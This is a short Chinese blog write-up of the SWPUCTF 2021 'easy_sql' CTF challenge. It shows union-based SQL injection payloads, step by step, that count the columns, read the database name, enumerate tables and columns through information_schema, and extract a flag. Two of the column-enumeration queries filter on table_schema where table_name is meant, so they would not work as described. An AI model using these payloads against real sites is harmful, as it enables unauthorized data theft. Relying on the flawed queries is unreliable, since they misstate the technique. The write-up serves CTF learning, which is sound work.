CTF-Sql注入

CTF-Sql注入

[SWPUCTF 2021 新生赛] easy_sql WriteUp

  • 从title可知参数名为wllm,先确定该数据表一共有几列,直到数据库返回null为止

    1
    2
    3
    4
    5
    -- url形式
    ?wllm=1' order by 3 --+
    ?wllm=1' order by 4 --+
    ?wllm=1' order by 5 --+
    ......
  • (假设完成上一步骤后,数据库只有三列)使用联合查询语句,union select后的列数必须与前面列数相同,否则会报错

    1
    1' union select 1,2,3 --+

    其中’–’是Sql语句通用注释符号,’+’的目的是为了代替空格保证注释生效。

  • 根据回显结果查询数据库名称,得到数据库名为test_db

    1
    ?wllm=2' union select 1,2,database() --+
  • 再次查询该数据库中的数据表名称,得到数据表名有test_tb,users

    其中group_concat()的作用是将查询到的表名排成一行而不是分行排列

    1
    ?wllm=2' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+
  • 查询分别查询两张数据表中的字段,发现test_tb中有flag字段

    1
    2
    3
    ?wllm=2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_tb' --+

    ?wllm=2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='users' --+
  • 查询test_tb中的flag字段最终得到flag

    1
    ?wllm=2' union select 1,2,flag from test_tb --+

CTF-Sql注入
http://yaesakuraq.github.io/2025/02/24/Sql注入/
作者
SakuraQ
发布于
2025年2月24日
许可协议